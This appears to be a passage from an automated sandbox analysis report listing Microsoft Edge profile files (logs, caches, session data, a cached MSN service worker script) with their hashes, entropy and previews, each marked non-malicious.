Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.836210121163511
Encrypted:	false
SSDEEP:	48:F2emftrdDlfB2FXrdw6ghwrdDoB2xErdfB2M:F1mftxDlcZxv8wxDtxExcM
MD5:	C47414653B0C432A5BBA9DFC1F7D9DC5
SHA1:	79C1ECCBF9F879BE9816EE8784DFDADD6C58A163
SHA-256:	6E49692288A5DD59B7FD7866F0151A1CBF146AE21D81DB082514D352805C7DDD
SHA-512:	A0993BB442644DDCFD59DD2022B1DB36DC1E30EEAE3E663F7BB92E57C02D07158A9B40D2C6AED247659918CEBC590EFF5739D76D4638CFC0A88B6E1D2FC42539
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2C.Zm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.141981636669075
Encrypted:	false
SSDEEP:	6:HEqiD1N723oH+TcwtE/a252KLlVEqpn+q2PN723oH+TcwtE/a2ZIFUv:ktDaYeb8xL8o+vVaYeb8J2FUv
MD5:	3803EDC2CF75AD611CF960094C3F2835
SHA1:	15EF726079652FDB38CC7CCE0ADDC25D26833125
SHA-256:	2D0DD8E1CF0CAFED2869C00DED9F9D1952D3D4BD7E9B164147A74AA742881175
SHA-512:	F8C2029FA8CB171211015991F646BBF8E83A4BBEFAD4CEF04CBA7DD23ADEF1A7C8267B7A4AE8AE9D2D2A8D70A6B14ECE703826296CF1308B62DA565521AB82C3
Malicious:	false
Preview:	2024/11/20-08:43:44.794 528 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/20-08:43:44.814 528 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114179
Entropy (8bit):	5.579510813119792
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKZpcktoSE:d9LyxPXfOxr1lMe1nL/CL/TXEmaCT
MD5:	F59FBDD61E7B1D938A7DEDDC9C65538A
SHA1:	0D124C2FCCB1D424E4894CEEAFCC01C609D77A51
SHA-256:	D3F60ED6C8F6DDFEA2CE80F23EFDE0A9AC66278F0DDCC90C3E247B6D12C50ABD
SHA-512:	597B9102AD89ABD3B2F10B8284F104B5F16E7F7A656320B65973E17D44ECF188C50758799B85D02CC374F50DDB420055D1047C49F7314EAF531B39AF01C37D4A
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188673
Entropy (8bit):	6.385215119256137
Encrypted:	false
SSDEEP:	3072:feuFTaV4lSwdI3f6nZL/qeMAO619zoqCzid3:tSwSyZL/FrL9z1
MD5:	789B44B363A5CD1BE6CFE88D95E7ABBB
SHA1:	FBBDD1C3CA9F29971AA9B89AD066CC3D80D6CDE1
SHA-256:	16892114FAEEC4844910F5E59F44EB76FD1796E0B710F136C857F38316166FC6
SHA-512:	0B233060406920E30C747397829C434A35A8C40E1FA2D82E70F6883BF4D30A3F217C277938211695C81171C5A567D4621E598CB4B1413E9C9EB56863277049D8
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......Rc6.&.....exports...Rc>.......module....Rc...h....define....Rb.S......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..T.vb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.482079090427396
Encrypted:	false
SSDEEP:	3:MtAyXl/lUn/lxE0tllsuapn:MyKR0pap
MD5:	945EBE46A1E2B3E58E600A075DB070C9
SHA1:	A6B0B58E19CF5E1B4F005CF5EC0E37697C55219A
SHA-256:	70E191E676B6A9FD2F881B93820B798B914406A36924FBFD44505F7F4A417DF7
SHA-512:	08B011D75EBE45E0844B77AF77E4A7D533B7AADD5C87E9B5631782A6BAC8FF2B62D73EA3E40CEBC1EAEB475AFE300DBC6C7C3D9187E295A00D34A9FCE29B72E3
Malicious:	false
Preview:	@....t..oy retne.........................X....,.................M?../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.482079090427396
Encrypted:	false
SSDEEP:	3:MtAyXl/lUn/lxE0tllsuapn:MyKR0pap
MD5:	945EBE46A1E2B3E58E600A075DB070C9
SHA1:	A6B0B58E19CF5E1B4F005CF5EC0E37697C55219A
SHA-256:	70E191E676B6A9FD2F881B93820B798B914406A36924FBFD44505F7F4A417DF7
SHA-512:	08B011D75EBE45E0844B77AF77E4A7D533B7AADD5C87E9B5631782A6BAC8FF2B62D73EA3E40CEBC1EAEB475AFE300DBC6C7C3D9187E295A00D34A9FCE29B72E3
Malicious:	false
Preview:	@....t..oy retne.........................X....,.................M?../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF439aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.482079090427396
Encrypted:	false
SSDEEP:	3:MtAyXl/lUn/lxE0tllsuapn:MyKR0pap
MD5:	945EBE46A1E2B3E58E600A075DB070C9
SHA1:	A6B0B58E19CF5E1B4F005CF5EC0E37697C55219A
SHA-256:	70E191E676B6A9FD2F881B93820B798B914406A36924FBFD44505F7F4A417DF7
SHA-512:	08B011D75EBE45E0844B77AF77E4A7D533B7AADD5C87E9B5631782A6BAC8FF2B62D73EA3E40CEBC1EAEB475AFE300DBC6C7C3D9187E295A00D34A9FCE29B72E3
Malicious:	false
Preview:	@....t..oy retne.........................X....,.................M?../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6433
Entropy (8bit):	3.388429195421607
Encrypted:	false
SSDEEP:	192:59PK/tg2uq07xcyu9Xp+FKiTDV5SLl9iSrPD5:TPKFg2ujcyu9Xp+Aw5SLl9iSrb5
MD5:	83651B69C60E61A00ABCC9C139BAFA81
SHA1:	B5FA42EAECE570DCF9F8CCAC87F52CC79721F7DD
SHA-256:	B5EA12BB633EB8CF703B15CD87843C178E5DCE56DB2DEEE996A8AB5D9EFC3DFF
SHA-512:	2B183049BCA173A4BDC1F92CEA8FA317226B56C9F14A244B0776DEC22F587A6ED397F7D9DB7C31CD09AF69004D7B2AB11010E8946274BC1483298476701B5525
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............&.. b................next-map-id.1.Cnamespace-03efb717_365c_4982_95e9_14fd4e78a864-https://ntp.msn.com/.0...9.................map-0-shd_sweeper./{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.c.,.c.p.r.g.-.h.p.-.r.d.c.t.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.a.d.s.-.f.l.r.m.g.p.-.n.o.i.s.e.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.h.o.l.d.o.u.t.2.0.2.4.0.6.2.8.,.p.r.g.-.1.s.w.-.t.r.-.c.r.b.n.d.l.,.p.r.g.-.1.s.w.-.t.-.c.r.b.n.d.l.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.w.-.t.p.s.n.-.d.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.105164954408007
Encrypted:	false
SSDEEP:	6:HE811Iq2PN723oH+TcwtrQMxIFUt8YE8edRFZZmw+YE8vVkwON723oH+TcwtrQMT:k87IvVaYebCFUt8/8SX/+/8vV5OaYebf
MD5:	0677AFDE8D7FE088E55E1C74EF33A520
SHA1:	A90B10B70A5D04C2E68D138297FB5B844E5A5871
SHA-256:	0675F8F92B609E0AB6A18794CC59DE3291CC0B174586DC70F81C25BE04425509
SHA-512:	FDFD06F70CE9FE9434E1AD077492850FAE77D97674D3AA20EEA3A8BE756116022B3D6914957F2B06B034BA15F6FBC241277BDFAC7DCA540103C4566B3592AE19
Malicious:	false
Preview:	2024/11/20-08:43:28.307 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-08:43:28.320 1984 Recovering log #3.2024/11/20-08:43:28.323 1984 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.105164954408007
Encrypted:	false
SSDEEP:	6:HE811Iq2PN723oH+TcwtrQMxIFUt8YE8edRFZZmw+YE8vVkwON723oH+TcwtrQMT:k87IvVaYebCFUt8/8SX/+/8vV5OaYebf
MD5:	0677AFDE8D7FE088E55E1C74EF33A520
SHA1:	A90B10B70A5D04C2E68D138297FB5B844E5A5871
SHA-256:	0675F8F92B609E0AB6A18794CC59DE3291CC0B174586DC70F81C25BE04425509
SHA-512:	FDFD06F70CE9FE9434E1AD077492850FAE77D97674D3AA20EEA3A8BE756116022B3D6914957F2B06B034BA15F6FBC241277BDFAC7DCA540103C4566B3592AE19
Malicious:	false
Preview:	2024/11/20-08:43:28.307 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-08:43:28.320 1984 Recovering log #3.2024/11/20-08:43:28.323 1984 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376583809920189

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8209490692074604
Encrypted:	false
SSDEEP:	24:3IoV8abBItPLMpsAF4unxovtLp3X2amEtG1ChqqgEK7YhRKQKkOAM45l:3AtPLMzFALp2FEkChOEGYhtHOp
MD5:	4CE74362ABEC9C35983265AAF9E39793
SHA1:	5BA3D858DE9100642F3E41B526015562BB9996F9
SHA-256:	38BD768B00A92D85C44BE3B7AC1DAE315CF1AFD88BC8AD6A9A8178DDA1823FC9
SHA-512:	7CFC7D277EEDD2D7A48589EEC1271B74714FA059237FE6748D8F5480234394CDC61A879075DED872BB39F6035BD3363072993B0F44AD4FE8BA330BB86DDC6417
Malicious:	false
Preview:	SNSS..........E..............E......"...E..............E..........E..........E..........E....!.....E..................................E...E1..,......E$...03efb717_365c_4982_95e9_14fd4e78a864......E..........E.....`A...........E......E..........................E....................5..0......E&...{46F3A197-DB49-410A-81B3-94975C835573}........E..........E.............................E..............E........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x..........UX'.....UX'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.092779150122756
Encrypted:	false
SSDEEP:	6:HEcFIq2PN723oH+Tcwt7Uh2ghZIFUt8YE5fZmw+YE5NkwON723oH+Tcwt7Uh2gnd:kcOvVaYebIhHh2FUt8/t/+/f5OaYebIT
MD5:	F1FB65D7C752225C07A47B3796F1015B
SHA1:	78E220D65A7CAAA74F18898256DB1B4F91C20A58
SHA-256:	F31EBA6EDD9B7DDB44A0D31AA26CEC027B682DF7C5275E058AEA928EBF194531
SHA-512:	8DF24EA9386C391FA31992F697489A11F4047C946E8B47B3C352AAA89B35A35930D1317B8459DEC5A38EC5653CDB87E005002ED303226BB91B6E887638D68B9D
Malicious:	false
Preview:	2024/11/20-08:43:27.632 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-08:43:27.633 1e00 Recovering log #3.2024/11/20-08:43:27.633 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.092779150122756
Encrypted:	false
SSDEEP:	6:HEcFIq2PN723oH+Tcwt7Uh2ghZIFUt8YE5fZmw+YE5NkwON723oH+Tcwt7Uh2gnd:kcOvVaYebIhHh2FUt8/t/+/f5OaYebIT
MD5:	F1FB65D7C752225C07A47B3796F1015B
SHA1:	78E220D65A7CAAA74F18898256DB1B4F91C20A58
SHA-256:	F31EBA6EDD9B7DDB44A0D31AA26CEC027B682DF7C5275E058AEA928EBF194531
SHA-512:	8DF24EA9386C391FA31992F697489A11F4047C946E8B47B3C352AAA89B35A35930D1317B8459DEC5A38EC5653CDB87E005002ED303226BB91B6E887638D68B9D
Malicious:	false
Preview:	2024/11/20-08:43:27.632 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-08:43:27.633 1e00 Recovering log #3.2024/11/20-08:43:27.633 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.217271305609352
Encrypted:	false
SSDEEP:	12:k8DvVaYebvqBQFUt8/83J/+/8y5OaYebvqBvJ:k8DVaYebvZg8/83e88OaYebvk
MD5:	BD248E2A2335C516AEEE1C40BD471387
SHA1:	36A9F26AE83773D9E8184CF87E52941F7093AF3B
SHA-256:	5C04B4CDA60F4EBCB29ACB5C14967ED07DE55786A604C2D388B9D342044325CA
SHA-512:	9234A0E08D91A890EB54FF63C24AAC8824D8B98C1AAD3A472B7B5EC9A5D4073A5C9F3C17E87CC97147C91919BC72A25955CC5498F1D7A36AD81CEF5FC25C6C8E
Malicious:	false
Preview:	2024/11/20-08:43:28.328 554 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-08:43:28.330 554 Recovering log #3.2024/11/20-08:43:28.333 554 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.217271305609352
Encrypted:	false
SSDEEP:	12:k8DvVaYebvqBQFUt8/83J/+/8y5OaYebvqBvJ:k8DVaYebvZg8/83e88OaYebvk
MD5:	BD248E2A2335C516AEEE1C40BD471387
SHA1:	36A9F26AE83773D9E8184CF87E52941F7093AF3B
SHA-256:	5C04B4CDA60F4EBCB29ACB5C14967ED07DE55786A604C2D388B9D342044325CA
SHA-512:	9234A0E08D91A890EB54FF63C24AAC8824D8B98C1AAD3A472B7B5EC9A5D4073A5C9F3C17E87CC97147C91919BC72A25955CC5498F1D7A36AD81CEF5FC25C6C8E
Malicious:	false
Preview:	2024/11/20-08:43:28.328 554 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-08:43:28.330 554 Recovering log #3.2024/11/20-08:43:28.333 554 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\43ec07e8-2940-4f73-a5a8-a9047ef28aed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\56f79690-0dd2-4f71-80a2-af2a0bbb2f41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7978a2a9-cefc-44da-a7d2-703f86793ec4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
